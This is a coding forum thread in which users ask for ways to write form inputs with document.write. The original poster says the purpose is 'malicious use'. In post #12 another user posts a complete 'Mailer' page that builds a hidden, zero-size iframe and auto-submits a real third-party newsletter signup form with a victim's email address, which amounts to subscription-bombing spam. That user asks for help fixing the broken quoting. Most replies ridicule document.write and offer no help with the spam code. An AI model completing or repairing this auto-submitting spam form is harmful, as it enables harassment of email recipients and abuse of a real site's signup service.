Hello and welcome to our community! Is this your first visit?
Register
Enjoy an ad free experience by logging in. Not a member yet? Register.
Page 1 of 2 12 LastLast
Results 1 to 15 of 19
  1. #1
    New Coder
    Join Date
    May 2013
    Posts
    33
    Thanks
    6
    Thanked 0 Times in 0 Posts

    Question Writing a form in javascript

    PHP Code:
    1document.write("<input type='text' name='' value=''>");
    2document.write('<input type="text" name="" value="">');
    3document.write("<input type=\"text\" name=\"\" value=\"\">"); 
    Is there any other way to make an input using document.write.
    I need atleast 4 diferent ways for a project...

    ===============================================

    Stop saying document.write is outdated because it's so usefull.

  2. #2
    Senior Coder low tech's Avatar
    Join Date
    Dec 2009
    Posts
    1,008
    Thanks
    182
    Thanked 125 Times in 125 Posts
    Code:
    var inpt = '<input type="text" name="" value="">';
    document.write(inpt);
    0000

  3. #3
    Supreme Master coder! Philip M's Avatar
    Join Date
    Jun 2002
    Location
    London, England
    Posts
    19,116
    Thanks
    211
    Thanked 2,654 Times in 2,630 Posts
    Quote Originally Posted by low tech View Post
    Code:
    var inpt = '<input type="text" name="" value="">';
    document.write(inpt);
    Aaarrrgggghhhh! document.write is obsolete!!! What is this project? Some sort of homework?

    All the code given in this post has been tested and is intended to address the question asked.
    Unless stated otherwise it is not just a demonstration.

  4. #4
    Supreme Master coder! Old Pedant's Avatar
    Join Date
    Feb 2009
    Posts
    29,698
    Thanks
    93
    Thanked 4,947 Times in 4,908 Posts
    Quote Originally Posted by Electrify View Post
    Stop saying document.write is outdated because it's so usefull.
    Only because you don't know the right way to do things.

    There are still a bare handful of things document.write could/should be used for. Creating <form> fields is *NOT* one of them.
    Be yourself. No one else is as qualified.

  5. #5
    Supreme Master coder! Old Pedant's Avatar
    Join Date
    Feb 2009
    Posts
    29,698
    Thanks
    93
    Thanked 4,947 Times in 4,908 Posts
    Quote Originally Posted by Philip M View Post
    Aaarrrgggghhhh! document.write is obsolete!!! What is this project? Some sort of homework?
    Of course it's homework. For a really dumb class. For an instructor completely out of touch with the times. There's no other excuse for having such a "project". You have to wonder if all these students think we are total idiots to believe that their dirt simple and outdated "projects" are anything except homework of the worst kind.
    Be yourself. No one else is as qualified.

  6. #6
    Supreme Master coder! Old Pedant's Avatar
    Join Date
    Feb 2009
    Posts
    29,698
    Thanks
    93
    Thanked 4,947 Times in 4,908 Posts
    Here, since we are coming up with all the dumbest possible ways to do things:
    Code:
    var inpt = '<input type="text" name="" value="">';
    for ( var i = 0; i < inpt.length; ++i )
    {
        document.write(inpt.charAt(i));
    }
    or
    Code:
    var rev = '>""=eulav ""=eman "txet"=epyt tupni<';
    document.write( rev.split("").reverse().join("") );
    How many more silly-azzed ways do you want us to come up with?
    Be yourself. No one else is as qualified.

  7. #7
    Senior Coder
    Join Date
    Jun 2008
    Location
    New Jersey
    Posts
    2,547
    Thanks
    45
    Thanked 259 Times in 256 Posts
    Quote Originally Posted by Old Pedant View Post
    How many more silly-azzed ways do you want us to come up with?
    I'll admit, I didn't add into this conversation because it feels dirty a) typing out multiple ways to add an input, and b) using document.write to do it.

  8. #8
    Master Coder felgall's Avatar
    Join Date
    Sep 2005
    Location
    Sydney, Australia
    Posts
    9,249
    Thanks
    4
    Thanked 932 Times in 919 Posts
    Quote Originally Posted by Electrify View Post
    Stop saying document.write is outdated because it's so usefull.
    document.write is completely obsolete because it iis so UNuseful and requires so much code to fix it. ONLY use it if your visitors use Netscape 4 and earlier - it has no place in more modern browsers such as Internet Explorer Five.

    See http://www.felgall.com/jstip146.htm for how to get JavaScript to generate extremely complex forms with minimal code - by actually using JavaScript properly to create an object that contains methods for generating each field type.

    Don't forget to put all the JavaScript just before the </body> tag where it belongs. - one reason why document.write is dead - because it breaks when you attach the script at the right spot.

    If you absolutely MUST use document.,write then simply leave out everything up to and including the opening " or " and everything after and including the closing " or ' - ie, use HTML without the unnecessary script wrapper.
    Last edited by felgall; 08-16-2013 at 10:06 PM.
    Stephen
    Learn Modern JavaScript - http://javascriptexample.net/
    Helping others to solve their computer problem at http://www.felgall.com/

    Don't forget to start your JavaScript code with "use strict"; which makes it easier to find errors in your code.

  9. #9
    New Coder
    Join Date
    May 2013
    Posts
    33
    Thanks
    6
    Thanked 0 Times in 0 Posts
    Quote Originally Posted by Philip M View Post
    Aaarrrgggghhhh! document.write is obsolete!!! What is this project? Some sort of homework?
    no, 100% malicious use

  10. #10
    New Coder
    Join Date
    May 2013
    Posts
    33
    Thanks
    6
    Thanked 0 Times in 0 Posts
    Quote Originally Posted by low tech View Post
    Code:
    var inpt = '<input type="text" name="" value="">';
    document.write(inpt);
    Doesn't work in the project but thanks

  11. #11
    Senior Coder Arbitrator's Avatar
    Join Date
    Mar 2006
    Location
    Splendora, Texas, United States of America
    Posts
    3,586
    Thanks
    39
    Thanked 310 Times in 304 Posts
    Quote Originally Posted by Electrify View Post
    Is there any other way to make an input using document.write.
    Code:
    <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
    <html lang="en">
    	<meta http-equiv="content-type" content="application/sgml; charset=utf-8">
    	<meta name="keywords" content="anachronism, 1999">
    	<title>Demo</title>
    	<style type="text/css">
    		input { width: 500px; }
    	</style>
    	<div>
    		<script type="application/javascript">
    			eval("document['write']('<input text value=\\'Welcome to 1999!\\'<![IGNORE[THIS]]><button button>Decorative Button<\\/>');");
    		</script>
    	</div>
    	<p><a href="http://validator.w3.org/check?uri=referer"><img alt="Valid HTML 4.01 Strict" width="88" height="31" src="http://www.w3.org/Icons/valid-html401"></a>
    For every complex problem, there is an answer that is clear, simple, and wrong.

    CSS Specifications

  12. #12
    New Coder
    Join Date
    Oct 2008
    Posts
    75
    Thanks
    7
    Thanked 2 Times in 2 Posts
    Sorry to bring this old thread back but i have the same problem.

    Here is the code.

    <html>
    <title>Mailer</title>
    <link href="data:text/css;base64,ICAgIGJvZHkgeyAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmMGYwZjI7ICAgICAgICAgbWFyZ2luOiAwOyAgI CAgICAgIHBhZGRpbmc6IDA7ICAgICAgICAgZm9udC1mYW1pbHk6ICJPcGVuIFNhbnMiLCAiSGVsdmV0aWNhIE5ldWUiLCBIZWx2Z XRpY2EsIEFyaWFsLCBzYW5zLXNlcmlmOyAgICAgICAgICAgICAgfSAgICAgZGl2IHsgICAgICAgICB3aWR0aDogNjAwcHg7ICAgI CAgICAgbWFyZ2luOiA1ZW0gYXV0bzsgICAgICAgICBwYWRkaW5nOiA1MHB4OyAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmZ mY7ICAgICAgICAgYm9yZGVyLXJhZGl1czogMWVtOyAgICAgfSAgICAgYTpsaW5rLCBhOnZpc2l0ZWQgeyAgICAgICAgIGNvbG9yO iAjMzg0ODhmOyAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTsgICAgIH0gICAgIEBtZWRpYSAobWF4LXdpZHRoOiA3MDBwe CkgeyAgICAgICAgIGJvZHkgeyAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmOyAgICAgICAgIH0gICAgICAgICBka XYgeyAgICAgICAgICAgICB3aWR0aDogYXV0bzsgICAgICAgICAgICAgbWFyZ2luOiAwIGF1dG87ICAgICAgICAgICAgIGJvcmRlc i1yYWRpdXM6IDA7ICAgICAgICAgICAgIHBhZGRpbmc6IDFlbTsgICAgICAgICB9ICAgICB9" type=text/css rel=stylesheet>
    <body>
    <div>
    <center><h1>Mailer</h1>
    Send 1 emails to anyone.<br><br><br>
    <table><tr><td>
    Email: <input type="text" id="email_data" size=30><br></td><td>
    <input type="button" value="Submit" onclick="email();"><br></td></tr></table>
    </center>
    </div>
    <script>
    email = function() {
    var email_data = document.getElementById('email_data').value;
    if(email_data == "") {
    alert('Write an email to send spam!');
    return false;
    }

    document.write('<html><title>Mailer</title><link href="data:text/css;base64,ICAgIGJvZHkgeyAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmMGYwZjI7ICAgICAgICAgbWFyZ2luOiAwOyAgI CAgICAgIHBhZGRpbmc6IDA7ICAgICAgICAgZm9udC1mYW1pbHk6ICJPcGVuIFNhbnMiLCAiSGVsdmV0aWNhIE5ldWUiLCBIZWx2Z XRpY2EsIEFyaWFsLCBzYW5zLXNlcmlmOyAgICAgICAgICAgICAgfSAgICAgZGl2IHsgICAgICAgICB3aWR0aDogNjAwcHg7ICAgI CAgICAgbWFyZ2luOiA1ZW0gYXV0bzsgICAgICAgICBwYWRkaW5nOiA1MHB4OyAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmZ mY7ICAgICAgICAgYm9yZGVyLXJhZGl1czogMWVtOyAgICAgfSAgICAgYTpsaW5rLCBhOnZpc2l0ZWQgeyAgICAgICAgIGNvbG9yO iAjMzg0ODhmOyAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTsgICAgIH0gICAgIEBtZWRpYSAobWF4LXdpZHRoOiA3MDBwe CkgeyAgICAgICAgIGJvZHkgeyAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmOyAgICAgICAgIH0gICAgICAgICBka XYgeyAgICAgICAgICAgICB3aWR0aDogYXV0bzsgICAgICAgICAgICAgbWFyZ2luOiAwIGF1dG87ICAgICAgICAgICAgIGJvcmRlc i1yYWRpdXM6IDA7ICAgICAgICAgICAgIHBhZGRpbmc6IDFlbTsgICAgICAgICB9ICAgICB9" type=text/css rel=stylesheet><body><div><center><h1>Mailer</h1>Sending the emails to '+email_data+'...<br><br><br></center></div></html>');

    document.write('<iframe src=\"data:text/html;charset=utf-8,<form method="post" name="subscribeform" action="http://www.nkk.dk/nyhedsbrev/?p=subscribe"><input type="hidden" name="formtoken" value="9cf80e7901984c446df7aac12696c288"><input type="hidden" name="email" value="'+email_data+'"><input type="hidden" name="htmlemail" value="1"><input type="hidden" name="attribute7" value="Joaquim"><input type="hidden" name="attribute6" value="Broodly"><input type="hidden" name="rssfrequency" value="daily"><input type="hidden" name="list[3]" value="signup"><input type="hidden" name="listname[3]" value="Updates fra nkk.dk"><input type="hidden" name="list[2]" value="signup"><input type="hidden" name="listname[2]" value="NKK Info"><input type="hidden" name="VerificationCodeX" value=""><input type="submit" name="subscribe" value="subscribe"></form>" frameborder=\"0\" heigth=\"0\" width=\"0\"></iframe>');
    document.forms[0]["subscribe"].click();

    }
    </script>
    </body>
    </html>
    The part that isn't working is
    document.write('<iframe src=\"data:text/html;charset=utf-8,<form method="post" name="subscribeform" action="http://www.nkk.dk/nyhedsbrev/?p=subscribe"><input type="hidden" name="formtoken" value="9cf80e7901984c446df7aac12696c288"><input type="hidden" name="email" value="'+email_data+'"><input type="hidden" name="htmlemail" value="1"><input type="hidden" name="attribute7" value="Joaquim"><input type="hidden" name="attribute6" value="Broodly"><input type="hidden" name="rssfrequency" value="daily"><input type="hidden" name="list[3]" value="signup"><input type="hidden" name="listname[3]" value="Updates fra nkk.dk"><input type="hidden" name="list[2]" value="signup"><input type="hidden" name="listname[2]" value="NKK Info"><input type="hidden" name="VerificationCodeX" value=""><input type="submit" name="subscribe" value="subscribe"></form>" frameborder=\"0\" heigth=\"0\" width=\"0\"></iframe>');
    document.forms[0]["subscribe"].click();
    Good News: NitroFlare is the new player in file hosting, buy a premium account and download at full speed.

  13. #13
    Master Coder felgall's Avatar
    Join Date
    Sep 2005
    Location
    Sydney, Australia
    Posts
    9,249
    Thanks
    4
    Thanked 932 Times in 919 Posts
    Did you try it in Netscape 4? That's the most recent browser where document.write is appropriate.

    Also you are using the wrong tag in the code - there is no such tag as <iframedata:text/html;charset=utf-8,<form method="post" name="subscribeform" action="http://www.nkk.dk/nyhedsbrev/?p=subscribe">
    Stephen
    Learn Modern JavaScript - http://javascriptexample.net/
    Helping others to solve their computer problem at http://www.felgall.com/

    Don't forget to start your JavaScript code with "use strict"; which makes it easier to find errors in your code.

  14. #14
    New Coder
    Join Date
    Oct 2008
    Posts
    75
    Thanks
    7
    Thanked 2 Times in 2 Posts
    IT supose to be <iframe src='data:text/html;charset=utf-8,<form method="post" name="subscribeform" action="http://www.nkk.dk/nyhedsbrev/?p=subscribe">...'></iframe>

    But i don't have more parameters for the syntax to be correct. I'm using quotation mark and apostrophe but i need one more...
    Good News: NitroFlare is the new player in file hosting, buy a premium account and download at full speed.

  15. #15
    Regular Coder deathshadow's Avatar
    Join Date
    Feb 2016
    Location
    Keene, NH
    Posts
    967
    Thanks
    1
    Thanked 148 Times in 140 Posts
    This might be a stupid question, but... if you aren't pasting any variables into your write...

    WHY THE **** IS THIS EVEN JAVASCRIPTED?!?

    Sorry, but... no variables in the document.write, why in blazes document.write?!? Makes no sense whatsoever! At that point just put the markup in the markup.

    Of course tables for layout, CENTER tags, no labels... 1997 called and wants its markup back!
    Last edited by deathshadow; 08-30-2016 at 06:48 PM.
    From time to time the accessibility of websites must be refreshed with the blood of designers and owners; it is its natural manure.
    http://www.cutcodedown.com


 
Page 1 of 2 12 LastLast

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •